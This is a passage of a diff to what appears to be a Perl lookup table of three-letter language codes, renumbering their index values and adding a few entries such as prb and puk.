-         q(5370),
+         q(5366),
          q(0),
          ],
       q(pbr) => [
-         q(5371),
+         q(5367),
          q(0),
          ],
       q(pbs) => [
-         q(5372),
+         q(5368),
          q(0),
          ],
       q(pbt) => [
-         q(5373),
+         q(5369),
          q(0),
          ],
       q(pbu) => [
-         q(5374),
+         q(5370),
          q(0),
          ],
       q(pbv) => [
-         q(5375),
+         q(5371),
          q(0),
          ],
       q(pby) => [
-         q(5376),
+         q(5372),
          q(0),
          ],
       q(pca) => [
-         q(5377),
+         q(5373),
          q(0),
          ],
       q(pcb) => [
-         q(5378),
+         q(5374),
          q(0),
          ],
       q(pcc) => [
-         q(5379),
+         q(5375),
          q(0),
          ],
       q(pcd) => [
-         q(5380),
+         q(5376),
          q(0),
          ],
       q(pce) => [
-         q(5381),
+         q(5377),
          q(0),
          ],
       q(pcf) => [
-         q(5382),
+         q(5378),
          q(0),
          ],
       q(pcg) => [
-         q(5383),
+         q(5379),
          q(0),
          ],
       q(pch) => [
-         q(5384),
+         q(5380),
          q(0),
          ],
       q(pci) => [
-         q(5385),
+         q(5381),
          q(0),
          ],
       q(pcj) => [
-         q(5386),
+         q(5382),
          q(0),
          ],
       q(pck) => [
-         q(5387),
+         q(5383),
          q(0),
          ],
       q(pcl) => [
-         q(5388),
+         q(5384),
          q(0),
          ],
       q(pcm) => [
-         q(5389),
+         q(5385),
          q(0),
          ],
       q(pcn) => [
-         q(5390),
+         q(5386),
          q(0),
          ],
       q(pcp) => [
-         q(5391),
+         q(5387),
          q(0),
          ],
       q(pcw) => [
-         q(5392),
+         q(5388),
          q(0),
          ],
       q(pda) => [
-         q(5393),
+         q(5389),
          q(0),
          ],
       q(pdc) => [
-         q(5394),
+         q(5390),
          q(0),
          ],
       q(pdi) => [
-         q(5395),
+         q(5391),
          q(0),
          ],
       q(pdn) => [
-         q(5396),
+         q(5392),
          q(0),
          ],
       q(pdo) => [
-         q(5397),
+         q(5393),
          q(0),
          ],
       q(pdt) => [
-         q(5398),
+         q(5394),
          q(0),
          ],
       q(pdu) => [
-         q(5399),
+         q(5395),
          q(0),
          ],
       q(pea) => [
-         q(5400),
+         q(5396),
          q(0),
          ],
       q(peb) => [
-         q(5401),
+         q(5397),
          q(0),
          ],
       q(ped) => [
-         q(5402),
+         q(5398),
          q(0),
          ],
       q(pee) => [
-         q(5403),
+         q(5399),
          q(0),
          ],
       q(pef) => [
-         q(5404),
+         q(5400),
          q(0),
          ],
       q(peg) => [
-         q(5405),
+         q(5401),
          q(0),
          ],
       q(peh) => [
-         q(5406),
+         q(5402),
          q(0),
          ],
       q(pei) => [
-         q(5407),
+         q(5403),
          q(0),
          ],
       q(pej) => [
-         q(5408),
+         q(5404),
          q(0),
          ],
       q(pek) => [
-         q(5409),
+         q(5405),
          q(0),
          ],
       q(pel) => [
-         q(5410),
+         q(5406),
          q(0),
          ],
       q(pem) => [
-         q(5411),
+         q(5407),
          q(0),
          ],
       q(peo) => [
-         q(0342),
+         q(0341),
          q(1),
          ],
       q(pep) => [
-         q(5412),
+         q(5408),
          q(0),
          ],
       q(peq) => [
-         q(5413),
+         q(5409),
          q(0),
          ],
       q(per) => [
-         q(0343),
+         q(0342),
          q(0),
          ],
       q(pes) => [
-         q(5414),
+         q(5410),
          q(0),
          ],
       q(pev) => [
-         q(5415),
+         q(5411),
          q(0),
          ],
       q(pex) => [
-         q(5416),
+         q(5412),
          q(0),
          ],
       q(pey) => [
-         q(5417),
+         q(5413),
          q(0),
          ],
       q(pez) => [
-         q(5418),
+         q(5414),
          q(0),
          ],
       q(pfa) => [
-         q(5419),
+         q(5415),
          q(0),
          ],
       q(pfe) => [
-         q(5420),
+         q(5416),
          q(0),
          ],
       q(pfl) => [
-         q(5421),
+         q(5417),
          q(0),
          ],
       q(pga) => [
-         q(5422),
+         q(5418),
          q(0),
          ],
       q(pgd) => [
-         q(5423),
+         q(5419),
          q(0),
          ],
       q(pgg) => [
-         q(5424),
+         q(5420),
          q(0),
          ],
       q(pgi) => [
-         q(5425),
+         q(5421),
          q(0),
          ],
       q(pgk) => [
-         q(5426),
+         q(5422),
          q(0),
          ],
       q(pgl) => [
-         q(5427),
+         q(5423),
          q(0),
          ],
       q(pgn) => [
-         q(5428),
+         q(5424),
          q(0),
          ],
       q(pgs) => [
-         q(5429),
+         q(5425),
          q(0),
          ],
       q(pgu) => [
-         q(5430),
+         q(5426),
          q(0),
          ],
       q(pgz) => [
-         q(5431),
+         q(5427),
          q(0),
          ],
       q(pha) => [
-         q(5432),
+         q(5428),
          q(0),
          ],
       q(phd) => [
-         q(5433),
+         q(5429),
          q(0),
          ],
       q(phg) => [
-         q(5434),
+         q(5430),
          q(0),
          ],
       q(phh) => [
-         q(5435),
+         q(5431),
          q(0),
          ],
       q(phi) => [
-         q(0344),
+         q(0343),
          q(0),
          ],
       q(phk) => [
-         q(5436),
+         q(5432),
          q(0),
          ],
       q(phl) => [
-         q(5437),
+         q(5433),
          q(0),
          ],
       q(phm) => [
-         q(5438),
+         q(5434),
          q(0),
          ],
       q(phn) => [
-         q(0345),
+         q(0344),
          q(0),
          ],
       q(pho) => [
-         q(5439),
+         q(5435),
          q(0),
          ],
       q(phq) => [
-         q(5440),
+         q(5436),
          q(0),
          ],
       q(phr) => [
-         q(5441),
+         q(5437),
          q(0),
          ],
       q(pht) => [
-         q(5442),
+         q(5438),
          q(0),
          ],
       q(phu) => [
-         q(5443),
+         q(5439),
          q(0),
          ],
       q(phv) => [
-         q(5444),
+         q(5440),
          q(0),
          ],
       q(phw) => [
-         q(5445),
+         q(5441),
          q(0),
          ],
       q(pia) => [
-         q(5446),
+         q(5442),
          q(0),
          ],
       q(pib) => [
-         q(5447),
+         q(5443),
          q(0),
          ],
       q(pic) => [
-         q(5448),
+         q(5444),
          q(0),
          ],
       q(pid) => [
-         q(5449),
+         q(5445),
          q(0),
          ],
       q(pie) => [
-         q(5450),
+         q(5446),
          q(0),
          ],
       q(pif) => [
-         q(5451),
+         q(5447),
          q(0),
          ],
       q(pig) => [
-         q(5452),
+         q(5448),
          q(0),
          ],
       q(pih) => [
-         q(5453),
+         q(5449),
          q(0),
          ],
       q(pii) => [
-         q(5454),
+         q(5450),
          q(0),
          ],
       q(pij) => [
-         q(5455),
+         q(5451),
          q(0),
          ],
       q(pil) => [
-         q(5456),
+         q(5452),
          q(0),
          ],
       q(pim) => [
-         q(5457),
+         q(5453),
          q(0),
          ],
       q(pin) => [
-         q(5458),
+         q(5454),
          q(0),
          ],
       q(pio) => [
-         q(5459),
+         q(5455),
          q(0),
          ],
       q(pip) => [
-         q(5460),
+         q(5456),
          q(0),
          ],
       q(pir) => [
-         q(5461),
+         q(5457),
          q(0),
          ],
       q(pis) => [
-         q(5462),
+         q(5458),
          q(0),
          ],
       q(pit) => [
-         q(5463),
+         q(5459),
          q(0),
          ],
       q(piu) => [
-         q(5464),
+         q(5460),
          q(0),
          ],
       q(piv) => [
-         q(5465),
+         q(5461),
          q(0),
          ],
       q(piw) => [
-         q(5466),
+         q(5462),
          q(0),
          ],
       q(pix) => [
-         q(5467),
+         q(5463),
          q(0),
          ],
       q(piy) => [
-         q(5468),
+         q(5464),
          q(0),
          ],
       q(piz) => [
-         q(5469),
+         q(5465),
          q(0),
          ],
       q(pjt) => [
-         q(5470),
+         q(5466),
          q(0),
          ],
       q(pka) => [
-         q(5471),
+         q(5467),
          q(0),
          ],
       q(pkb) => [
-         q(5472),
+         q(5468),
          q(0),
          ],
       q(pkc) => [
-         q(5473),
+         q(5469),
          q(0),
          ],
       q(pkg) => [
-         q(5474),
+         q(5470),
          q(0),
          ],
       q(pkh) => [
-         q(5475),
+         q(5471),
          q(0),
          ],
       q(pkn) => [
-         q(5476),
+         q(5472),
          q(0),
          ],
       q(pko) => [
-         q(5477),
+         q(5473),
          q(0),
          ],
       q(pkp) => [
-         q(5478),
+         q(5474),
          q(0),
          ],
       q(pkr) => [
-         q(5479),
+         q(5475),
          q(0),
          ],
       q(pks) => [
-         q(5480),
+         q(5476),
          q(0),
          ],
       q(pkt) => [
-         q(5481),
+         q(5477),
          q(0),
          ],
       q(pku) => [
-         q(5482),
+         q(5478),
          q(0),
          ],
       q(pla) => [
-         q(5483),
+         q(5479),
          q(0),
          ],
       q(plb) => [
-         q(5484),
+         q(5480),
          q(0),
          ],
       q(plc) => [
-         q(5485),
+         q(5481),
          q(0),
          ],
       q(pld) => [
-         q(5486),
+         q(5482),
          q(0),
          ],
       q(ple) => [
-         q(5487),
+         q(5483),
          q(0),
          ],
       q(plf) => [
-         q(0520),
+         q(0519),
          q(0),
          ],
       q(plg) => [
-         q(5488),
+         q(5484),
          q(0),
          ],
       q(plh) => [
-         q(5489),
+         q(5485),
          q(0),
          ],
       q(pli) => [
-         q(0346),
+         q(0345),
          q(0),
          ],
       q(plj) => [
-         q(5490),
+         q(5486),
          q(0),
          ],
       q(plk) => [
-         q(5491),
+         q(5487),
          q(0),
          ],
       q(pll) => [
-         q(5492),
+         q(5488),
          q(0),
          ],
       q(pln) => [
-         q(5493),
+         q(5489),
          q(0),
          ],
       q(plo) => [
-         q(5494),
+         q(5490),
          q(0),
          ],
       q(plp) => [
-         q(5495),
+         q(5491),
          q(0),
          ],
       q(plq) => [
-         q(5496),
+         q(5492),
          q(0),
          ],
       q(plr) => [
-         q(5497),
+         q(5493),
          q(0),
          ],
       q(pls) => [
-         q(5498),
+         q(5494),
          q(0),
          ],
       q(plt) => [
-         q(5499),
+         q(5495),
          q(0),
          ],
       q(plu) => [
-         q(5500),
+         q(5496),
          q(0),
          ],
       q(plv) => [
-         q(5501),
+         q(5497),
          q(0),
          ],
       q(plw) => [
-         q(5502),
+         q(5498),
          q(0),
          ],
       q(ply) => [
-         q(5503),
+         q(5499),
          q(0),
          ],
       q(plz) => [
-         q(5504),
+         q(5500),
          q(0),
          ],
       q(pma) => [
-         q(5505),
+         q(5501),
          q(0),
          ],
       q(pmb) => [
-         q(5506),
+         q(5502),
          q(0),
          ],
       q(pmd) => [
-         q(5507),
+         q(5503),
          q(0),
          ],
       q(pme) => [
-         q(5508),
+         q(5504),
          q(0),
          ],
       q(pmf) => [
-         q(5509),
+         q(5505),
          q(0),
          ],
       q(pmh) => [
-         q(5510),
+         q(5506),
          q(0),
          ],
       q(pmi) => [
-         q(5511),
+         q(5507),
          q(0),
          ],
       q(pmj) => [
-         q(5512),
+         q(5508),
          q(0),
          ],
       q(pmk) => [
-         q(5513),
+         q(5509),
          q(0),
          ],
       q(pml) => [
-         q(5514),
+         q(5510),
          q(0),
          ],
       q(pmm) => [
-         q(5515),
+         q(5511),
          q(0),
          ],
       q(pmn) => [
-         q(5516),
+         q(5512),
          q(0),
          ],
       q(pmo) => [
-         q(5517),
+         q(5513),
          q(0),
          ],
       q(pmq) => [
-         q(5518),
+         q(5514),
          q(0),
          ],
       q(pmr) => [
-         q(5519),
+         q(5515),
          q(0),
          ],
       q(pms) => [
-         q(5520),
+         q(5516),
          q(0),
          ],
       q(pmt) => [
-         q(5521),
+         q(5517),
          q(0),
          ],
       q(pmw) => [
-         q(5522),
+         q(5518),
          q(0),
          ],
       q(pmx) => [
-         q(5523),
+         q(5519),
          q(0),
          ],
       q(pmy) => [
-         q(5524),
+         q(5520),
          q(0),
          ],
       q(pmz) => [
-         q(5525),
+         q(5521),
          q(0),
          ],
       q(pna) => [
-         q(5526),
+         q(5522),
          q(0),
          ],
       q(pnb) => [
-         q(5527),
+         q(5523),
          q(0),
          ],
       q(pnc) => [
-         q(5528),
+         q(5524),
          q(0),
          ],
       q(pne) => [
-         q(5529),
+         q(5525),
          q(0),
          ],
       q(png) => [
-         q(5530),
+         q(5526),
          q(0),
          ],
       q(pnh) => [
-         q(5531),
+         q(5527),
          q(0),
          ],
       q(pni) => [
-         q(5532),
+         q(5528),
          q(0),
          ],
       q(pnj) => [
-         q(5533),
+         q(5529),
          q(0),
          ],
       q(pnk) => [
-         q(5534),
+         q(5530),
          q(0),
          ],
       q(pnl) => [
-         q(5535),
+         q(5531),
          q(0),
          ],
       q(pnm) => [
-         q(5536),
+         q(5532),
          q(0),
          ],
       q(pnn) => [
-         q(5537),
+         q(5533),
          q(0),
          ],
       q(pno) => [
-         q(5538),
+         q(5534),
          q(0),
          ],
       q(pnp) => [
-         q(5539),
+         q(5535),
          q(0),
          ],
       q(pnq) => [
-         q(5540),
+         q(5536),
          q(0),
          ],
       q(pnr) => [
-         q(5541),
+         q(5537),
          q(0),
          ],
       q(pns) => [
-         q(5542),
+         q(5538),
          q(0),
          ],
       q(pnt) => [
-         q(5543),
+         q(5539),
          q(0),
          ],
       q(pnu) => [
-         q(5544),
+         q(5540),
          q(0),
          ],
       q(pnv) => [
-         q(5545),
+         q(5541),
          q(0),
          ],
       q(pnw) => [
-         q(5546),
+         q(5542),
          q(0),
          ],
       q(pnx) => [
-         q(5547),
+         q(5543),
          q(0),
          ],
       q(pny) => [
-         q(5548),
+         q(5544),
          q(0),
          ],
       q(pnz) => [
-         q(5549),
+         q(5545),
          q(0),
          ],
       q(poc) => [
-         q(5550),
+         q(5546),
          q(0),
          ],
       q(poe) => [
-         q(5551),
+         q(5547),
          q(0),
          ],
       q(pof) => [
-         q(5552),
+         q(5548),
          q(0),
          ],
       q(pog) => [
-         q(5553),
+         q(5549),
          q(0),
          ],
       q(poh) => [
-         q(5554),
+         q(5550),
          q(0),
          ],
       q(poi) => [
-         q(5555),
+         q(5551),
          q(0),
          ],
       q(pok) => [
-         q(5556),
+         q(5552),
          q(0),
          ],
       q(pol) => [
-         q(0347),
+         q(0346),
          q(0),
          ],
       q(pom) => [
-         q(5557),
+         q(5553),
          q(0),
          ],
       q(pon) => [
-         q(0348),
+         q(0347),
          q(0),
          ],
       q(poo) => [
-         q(5558),
+         q(5554),
          q(0),
          ],
       q(pop) => [
-         q(5559),
+         q(5555),
          q(0),
          ],
       q(poq) => [
-         q(5560),
+         q(5556),
          q(0),
          ],
       q(por) => [
-         q(0349),
+         q(0348),
          q(0),
          ],
       q(pos) => [
-         q(5561),
+         q(5557),
          q(0),
          ],
       q(pot) => [
-         q(5562),
+         q(5558),
          q(0),
          ],
       q(pov) => [
-         q(5563),
+         q(5559),
          q(0),
          ],
       q(pow) => [
-         q(5564),
+         q(5560),
          q(0),
          ],
       q(pox) => [
-         q(5565),
+         q(5561),
          q(0),
          ],
       q(poy) => [
-         q(5566),
+         q(5562),
          q(0),
          ],
       q(poz) => [
-         q(0521),
+         q(0520),
          q(0),
          ],
       q(ppe) => [
-         q(5567),
+         q(5563),
          q(0),
          ],
       q(ppi) => [
-         q(5568),
+         q(5564),
          q(0),
          ],
       q(ppk) => [
-         q(5569),
+         q(5565),
          q(0),
          ],
       q(ppl) => [
-         q(5570),
+         q(5566),
          q(0),
          ],
       q(ppm) => [
-         q(5571),
+         q(5567),
          q(0),
          ],
       q(ppn) => [
-         q(5572),
+         q(5568),
          q(0),
          ],
       q(ppo) => [
-         q(5573),
+         q(5569),
          q(0),
          ],
       q(ppp) => [
-         q(5574),
+         q(5570),
          q(0),
          ],
       q(ppq) => [
-         q(5575),
+         q(5571),
          q(0),
          ],
       q(pps) => [
-         q(5576),
+         q(5572),
          q(0),
          ],
       q(ppt) => [
-         q(5577),
+         q(5573),
          q(0),
          ],
       q(ppu) => [
-         q(5578),
+         q(5574),
          q(0),
          ],
       q(pqa) => [
-         q(5579),
+         q(5575),
          q(0),
          ],
       q(pqe) => [
-         q(0522),
+         q(0521),
          q(0),
          ],
       q(pqm) => [
-         q(5580),
+         q(5576),
          q(0),
          ],
       q(pqw) => [
-         q(0523),
+         q(0522),
          q(0),
          ],
       q(pra) => [
-         q(0350),
+         q(0349),
+         q(0),
+         ],
+      q(prb) => [
+         q(5577),
          q(0),
          ],
       q(prc) => [
-         q(5581),
+         q(5578),
          q(0),
          ],
       q(prd) => [
-         q(5582),
+         q(5579),
          q(0),
          ],
       q(pre) => [
-         q(5583),
+         q(5580),
          q(0),
          ],
       q(prf) => [
-         q(5584),
+         q(5581),
          q(0),
          ],
       q(prg) => [
-         q(5585),
+         q(5582),
          q(0),
          ],
       q(prh) => [
-         q(5586),
+         q(5583),
          q(0),
          ],
       q(pri) => [
-         q(5587),
+         q(5584),
          q(0),
          ],
       q(prk) => [
-         q(5588),
+         q(5585),
          q(0),
          ],
       q(prl) => [
-         q(5589),
+         q(5586),
          q(0),
          ],
       q(prm) => [
-         q(5590),
+         q(5587),
          q(0),
          ],
       q(prn) => [
-         q(5591),
+         q(5588),
          q(0),
          ],
       q(pro) => [
-         q(0351),
+         q(0350),
          q(1),
          ],
       q(prp) => [
-         q(5592),
+         q(5589),
          q(0),
          ],
       q(prq) => [
-         q(5593),
+         q(5590),
          q(0),
          ],
       q(prr) => [
-         q(5594),
+         q(5591),
          q(0),
          ],
       q(prs) => [
-         q(5595),
+         q(5592),
          q(0),
          ],
       q(prt) => [
-         q(5596),
+         q(5593),
          q(0),
          ],
       q(pru) => [
-         q(5597),
+         q(5594),
          q(0),
          ],
       q(prw) => [
-         q(5598),
+         q(5595),
          q(0),
          ],
       q(prx) => [
-         q(5599),
+         q(5596),
          q(0),
          ],
       q(prz) => [
-         q(5600),
+         q(5597),
          q(0),
          ],
       q(psa) => [
-         q(5601),
+         q(5598),
          q(0),
          ],
       q(psc) => [
-         q(5602),
+         q(5599),
          q(0),
          ],
       q(psd) => [
-         q(5603),
+         q(5600),
          q(0),
          ],
       q(pse) => [
-         q(5604),
+         q(5601),
          q(0),
          ],
       q(psg) => [
-         q(5605),
+         q(5602),
          q(0),
          ],
       q(psh) => [
-         q(5606),
+         q(5603),
          q(0),
          ],
       q(psi) => [
-         q(5607),
+         q(5604),
          q(0),
          ],
       q(psl) => [
-         q(5608),
+         q(5605),
          q(0),
          ],
       q(psm) => [
-         q(5609),
+         q(5606),
          q(0),
          ],
       q(psn) => [
-         q(5610),
+         q(5607),
          q(0),
          ],
       q(pso) => [
-         q(5611),
+         q(5608),
          q(0),
          ],
       q(psp) => [
-         q(5612),
+         q(5609),
          q(0),
          ],
       q(psq) => [
-         q(5613),
+         q(5610),
          q(0),
          ],
       q(psr) => [
-         q(5614),
+         q(5611),
          q(0),
          ],
       q(pss) => [
-         q(5615),
+         q(5612),
          q(0),
          ],
       q(pst) => [
-         q(5616),
+         q(5613),
          q(0),
          ],
       q(psu) => [
-         q(5617),
+         q(5614),
          q(0),
          ],
       q(psw) => [
-         q(5618),
+         q(5615),
          q(0),
          ],
       q(psy) => [
-         q(5619),
+         q(5616),
          q(0),
          ],
       q(pta) => [
-         q(5620),
+         q(5617),
          q(0),
          ],
       q(pth) => [
-         q(5621),
+         q(5618),
          q(0),
          ],
       q(pti) => [
-         q(5622),
+         q(5619),
          q(0),
          ],
       q(ptn) => [
-         q(5623),
+         q(5620),
          q(0),
          ],
       q(pto) => [
-         q(5624),
+         q(5621),
          q(0),
          ],
       q(ptp) => [
-         q(5625),
+         q(5622),
          q(0),
          ],
       q(ptq) => [
-         q(5626),
+         q(5623),
          q(0),
          ],
       q(ptr) => [
-         q(5627),
+         q(5624),
          q(0),
          ],
       q(ptt) => [
-         q(5628),
+         q(5625),
          q(0),
          ],
       q(ptu) => [
-         q(5629),
+         q(5626),
          q(0),
          ],
       q(ptv) => [
-         q(5630),
+         q(5627),
          q(0),
          ],
       q(ptw) => [
-         q(5631),
+         q(5628),
          q(0),
          ],
       q(pty) => [
-         q(5632),
+         q(5629),
          q(0),
          ],
       q(pua) => [
-         q(5633),
+         q(5630),
          q(0),
          ],
       q(pub) => [
-         q(5634),
+         q(5631),
          q(0),
          ],
       q(puc) => [
-         q(5635),
+         q(5632),
          q(0),
          ],
       q(pud) => [
-         q(5636),
+         q(5633),
          q(0),
          ],
       q(pue) => [
-         q(5637),
+         q(5634),
          q(0),
          ],
       q(puf) => [
-         q(5638),
+         q(5635),
          q(0),
          ],
       q(pug) => [
-         q(5639),
+         q(5636),
          q(0),
          ],
       q(pui) => [
-         q(5640),
+         q(5637),
          q(0),
          ],
       q(puj) => [
-         q(5641),
+         q(5638),
+         q(0),
+         ],
+      q(puk) => [
+         q(5639),
          q(0),
          ],
       q(pum) => [
-         q(5642),
+         q(5640),
          q(0),
          ],
       q(puo) => [
-         q(5643),
+         q(5641),
          q(0),
          ],
       q(pup) => [
-         q(5644),
+         q(5642),
          q(0),
          ],
       q(puq) => [
-         q(5645),
+         q(5643),
          q(0),
          ],
       q(pur) => [
-         q(5646),
+         q(5644),
          q(0),
          ],
       q(pus) => [
-         q(0352),
+         q(0351),
          q(0),
          ],
       q(put) => [
-         q(5647),
+         q(5645),
          q(0),
          ],
       q(puu) => [
-         q(5648),
+         q(5646),
          q(0),
          ],
       q(puw) => [
-         q(5649),
+         q(5647),
          q(0),
          ],
       q(pux) => [
-         q(5650),
+         q(5648),
          q(0),
          ],
       q(puy) => [
-         q(5651),
+         q(5649),
          q(0),
          ],
       q(pwa) => [
-         q(5652),
+         q(5650),
          q(0),
          ],
       q(pwb) => [
-         q(5653),
+         q(5651),
          q(0),
          ],
       q(pwg) => [
-         q(5654),
+         q(5652),
          q(0),
          ],
       q(pwi) => [
-         q(5655),
+         q(5653),
          q(0),
          ],
       q(pwm) => [
-         q(5656),
+         q(5654),
          q(0),
          ],
       q(pwn) => [
-         q(5657),
+         q(5655),
          q(0),
          ],
       q(pwo) => [
-         q(5658),
+         q(5656),
          q(0),
          ],
       q(pwr) => [
-         q(5659),
+         q(5657),
          q(0),
          ],
       q(pww) => [
-         q(5660),
+         q(5658),
          q(0),
          ],
       q(pxm) => [
-         q(5661),
+         q(5659),
          q(0),
          ],
       q(pye) => [
-         q(5662),
+         q(5660),
          q(0),
          ],
       q(pym) => [
-         q(5663),
+         q(5661),
          q(0),
          ],
       q(pyn) => [
-         q(5664),
+         q(5662),
          q(0),
          ],
       q(pys) => [
-         q(5665),
+         q(5663),
          q(0),
          ],
       q(pyu) => [
-         q(5666),
+         q(5664),
          q(0),
          ],
       q(pyx) => [
-         q(5667),
+         q(5665),
          q(0),
          ],
       q(pyy) => [
-         q(5668),
+         q(5666),
          q(0),
          ],
       q(pzn) => [
-         q(5669),
+         q(5667),
          q(0),
          ],
       q(qtz) => [
-         q(0353),
+         q(0352),
          q(0),
          ],
       q(qua) => [
-         q(5670),
+         q(5668),
          q(0),
          ],
       q(qub) => [
-         q(5671),
+         q(5669),
          q(0),
          ],
       q(quc) => [
-         q(5672),
+         q(5670),
          q(0),
          ],
       q(qud) => [
-         q(5673),
+         q(5671),
          q(0),
          ],
       q(que) => [
-         q(0354),
+         q(0353),
          q(0),
          ],
       q(quf) => [
-         q(5674),
+         q(5672),
          q(0),
          ],
       q(qug) => [
-         q(5675),
+         q(5673),
          q(0),
          ],
       q(quh) => [
-         q(5676),
+         q(5674),
          q(0),
          ],
       q(qui) => [
-         q(5677),
+         q(5675),
          q(0),
          ],
       q(quk) => [
-         q(5678),
+         q(5676),
          q(0),
          ],
       q(qul) => [
-         q(5679),
+         q(5677),
          q(0),
          ],
       q(qum) => [
-         q(5680),
+         q(5678),
          q(0),
          ],
       q(qun) => [
-         q(5681),
+         q(5679),
          q(0),
          ],
       q(qup) => [
-         q(5682),
+         q(5680),
          q(0),
          ],
       q(quq) => [
-         q(5683),
+         q(5681),
          q(0),
          ],
       q(qur) => [
-         q(5684),
+         q(5682),
          q(0),
          ],
       q(qus) => [
-         q(5685),
+         q(5683),
          q(0),
          ],
       q(quv) => [
-         q(5686),
+         q(5684),
          q(0),
          ],
       q(quw) => [
-         q(5687),
+         q(5685),
          q(0),
          ],
       q(qux) => [
-         q(5688),
+         q(5686),
          q(0),
          ],
       q(quy) => [
-         q(5689),
+         q(5687),
          q(0),
          ],
       q(quz) => [
-         q(5690),
+         q(5688),
          q(0),
          ],
       q(qva) => [
-         q(5691),
+         q(5689),
          q(0),
          ],
       q(qvc) => [
-         q(5692),
+         q(5690),
          q(0),
          ],
       q(qve) => [
-         q(5693),
+         q(5691),
          q(0),
          ],
       q(qvh) => [
-         q(5694),
+         q(5692),
          q(0),
          ],
       q(qvi) => [
-         q(5695),
+         q(5693),
          q(0),
          ],
       q(qvj) => [
-         q(5696),
+         q(5694),
          q(0),
          ],
       q(qvl) => [
-         q(5697),
+         q(5695),
          q(0),
          ],
       q(qvm) => [
-         q(5698),
+         q(5696),
          q(0),
          ],
       q(qvn) => [
-         q(5699),
+         q(5697),
          q(0),
          ],
       q(qvo) => [
-         q(5700),
+         q(5698),
          q(0),
          ],
       q(qvp) => [
-         q(5701),
+         q(5699),
          q(0),
          ],
       q(qvs) => [
-         q(5702),
+         q(5700),
          q(0),
          ],
       q(qvw) => [
-         q(5703),
+         q(5701),
          q(0),
          ],
       q(qvy) => [
-         q(5704),
+         q(5702),
          q(0),
          ],
       q(qvz) => [
-         q(5705),
+         q(5703),
          q(0),
          ],
       q(qwa) => [
-         q(5706),
+         q(5704),
          q(0),
          ],
       q(qwc) => [
-         q(5707),
+         q(5705),
          q(0),
          ],
       q(qwe) => [
-         q(0524),
+         q(0523),
          q(0),
          ],
       q(qwh) => [
-         q(5708),
+         q(5706),
          q(0),
          ],
       q(qwm) => [
-         q(5709),
+         q(5707),
          q(0),
          ],
       q(qws) => [
-         q(5710),
+         q(5708),
          q(0),
          ],
       q(qwt) => [
-         q(5711),
+         q(5709),
          q(0),
          ],
       q(qxa) => [
-         q(5712),
+         q(5710),
          q(0),
          ],
       q(qxc) => [
-         q(5713),
+         q(5711),
          q(0),
          ],
       q(qxh) => [
-         q(5714),
+         q(5712),
          q(0),
          ],
       q(qxl) => [
-         q(5715),
+         q(5713),
          q(0),
          ],
       q(qxn) => [
-         q(5716),
+         q(5714),
          q(0),
          ],
       q(qxo) => [
-         q(5717),
+         q(5715),
          q(0),
          ],
       q(qxp) => [
-         q(5718),
+         q(5716),
          q(0),
          ],
       q(qxq) => [
-         q(5719),
+         q(5717),
          q(0),
          ],
       q(qxr) => [
-         q(5720),
+         q(5718),
          q(0),
          ],
       q(qxs) => [
-         q(5721),
+         q(5719),
          q(0),
          ],
       q(qxt) => [
-         q(5722),
+         q(5720),
          q(0),
          ],
       q(qxu) => [
-         q(5723),
+         q(5721),
          q(0),
          ],
       q(qxw) => [
-         q(5724),
+         q(5722),
          q(0),
          ],
       q(qya) => [
-         q(5725),
+         q(5723),
          q(0),
          ],
       q(qyp) => [
-         q(5726),
+         q(5724),
          q(0),
          ],
       q(raa) => [
-         q(5727),
+         q(5725),
          q(0),
          ],
       q(rab) => [
-         q(5728),
+         q(5726),
          q(0),
          ],
       q(rac) => [
-         q(5729),
+         q(5727),
          q(0),
          ],
       q(rad) => [
-         q(5730),
+         q(5728),
          q(0),
          ],
       q(raf) => [
-         q(5731),
+         q(5729),
          q(0),
          ],
       q(rag) => [
-         q(5732),
+         q(5730),
          q(0),
          ],
       q(rah) => [
-         q(5733),
+         q(5731),
          q(0),
          ],
       q(rai) => [
-         q(5734),
+         q(5732),
          q(0),
          ],
       q(raj) => [
-         q(0355),
+         q(0354),
          q(0),
          ],
       q(rak) => [
-         q(5735),
+         q(5733),
          q(0),
          ],
       q(ral) => [
-         q(5736),
+         q(5734),
          q(0),
          ],
       q(ram) => [
-         q(5737),
+         q(5735),
          q(0),
          ],
       q(ran) => [
-         q(5738),
+         q(5736),
          q(0),
          ],
       q(rao) => [
-         q(5739),
+         q(5737),
          q(0),
          ],
       q(rap) => [
-         q(0356),
+         q(0355),
          q(0),
          ],
       q(raq) => [
-         q(5740),
+         q(5738),
          q(0),
          ],
       q(rar) => [
-         q(0357),
+         q(0356),
          q(0),
          ],
       q(ras) => [
-         q(5741),
+         q(5739),
          q(0),
          ],
       q(rat) => [
-         q(5742),
+         q(5740),
          q(0),
          ],
       q(rau) => [
-         q(5743),
+         q(5741),
          q(0),
          ],
       q(rav) => [
-         q(5744),
+         q(5742),
          q(0),
          ],
       q(raw) => [
-         q(5745),
+         q(5743),
          q(0),
          ],
       q(rax) => [
-         q(5746),
+         q(5744),
          q(0),
          ],
       q(ray) => [
-         q(5747),
+         q(5745),
          q(0),
          ],
       q(raz) => [
-         q(5748),
+         q(5746),
          q(0),
          ],
       q(rbb) => [
-         q(5749),
+         q(5747),
          q(0),
          ],
       q(rbk) => [
-         q(5750),
+         q(5748),
          q(0),
          ],
       q(rbl) => [
-         q(5751),
+         q(5749),
          q(0),
          ],
       q(rbp) => [
-         q(5752),
+         q(5750),
          q(0),
          ],
       q(rcf) => [
-         q(5753),
+         q(5751),
          q(0),
          ],
       q(rdb) => [
-         q(5754),
+         q(5752),
          q(0),
          ],
       q(rea) => [
-         q(5755),
+         q(5753),
          q(0),
          ],
       q(reb) => [
-         q(5756),
+         q(5754),
          q(0),
          ],
       q(ree) => [
-         q(5757),
+         q(5755),
          q(0),
          ],
       q(reg) => [
-         q(5758),
+         q(5756),
          q(0),
          ],
       q(rei) => [
-         q(5759),
+         q(5757),
          q(0),
          ],
       q(rej) => [
-         q(5760),
+         q(5758),
          q(0),
          ],
       q(rel) => [
-         q(5761),
+         q(5759),
          q(0),
          ],
       q(rem) => [
-         q(5762),
+         q(5760),
          q(0),
          ],
       q(ren) => [
-         q(5763),
+         q(5761),
          q(0),
          ],
       q(rer) => [
-         q(5764),
+         q(5762),
          q(0),
          ],
       q(res) => [
-         q(5765),
+         q(5763),
          q(0),
          ],
       q(ret) => [
-         q(5766),
+         q(5764),
          q(0),
          ],
       q(rey) => [
-         q(5767),
+         q(5765),
          q(0),
          ],
       q(rga) => [
-         q(5768),
+         q(5766),
          q(0),
          ],
       q(rge) => [
-         q(5769),
+         q(5767),
          q(0),
          ],
       q(rgk) => [
-         q(5770),
+         q(5768),
          q(0),
          ],
       q(rgn) => [
-         q(5771),
+         q(5769),
